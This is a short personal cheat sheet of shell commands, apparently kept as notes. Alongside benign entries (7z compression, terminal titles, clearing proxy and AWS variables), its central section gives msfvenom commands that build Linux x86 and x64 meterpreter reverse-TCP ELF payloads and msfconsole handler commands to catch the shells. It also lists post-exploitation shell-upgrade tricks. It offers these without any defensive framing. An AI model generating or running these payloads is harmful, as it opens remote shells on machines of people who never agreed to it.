Misc Useful Commands

Last Modified: Thu, 30 Oct 2025 14:06:15 +0000 ; Created: Thu, 30 Oct 2025 14:06:15 +0000

7z a  -mx=9 -myx=9 -ms=on -mhc=on -m0=LZMA2 -mmt=on -mtc=on -t7z     
MYFILE.7z STUFFTOCOMPRESS

echo -ne "\033]0;INSERTTERMTABTITLEHERE\007"

# STAGELESS

# x86

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=`curl https://checkip.amazonaws.com` LPORT=4444 -f elf > shell.elf

msfconsole --execute-command 'use exploit/multi/handler; set PAYLOAD linux/x86/meterpreter_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run'



# x64

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=`curl https://checkip.amazonaws.com` LPORT=4444 -f elf > shell.elf

msfconsole --execute-command 'use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run'

# ~~~~~~~~~~~~

/bin/bash -l
	works around	ttyname failed: Inappropriate ioctl for device
	
	even with bash -p  did not work (-p is good for suid runs)
	
	
	
script /dev/null -c bash

copy('var data = '+JSON.stringify(localStorage)+';


Object.keys(data).forEach(function (k){localStorage.setItem(k, data[k]);});');

https_proxy= NO_PROXY= HTTPS_PROXY= HTTP_PROXY= http_proxy= ALL_PROXY= all_proxy= AWS_CA_BUNDLE=     

unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN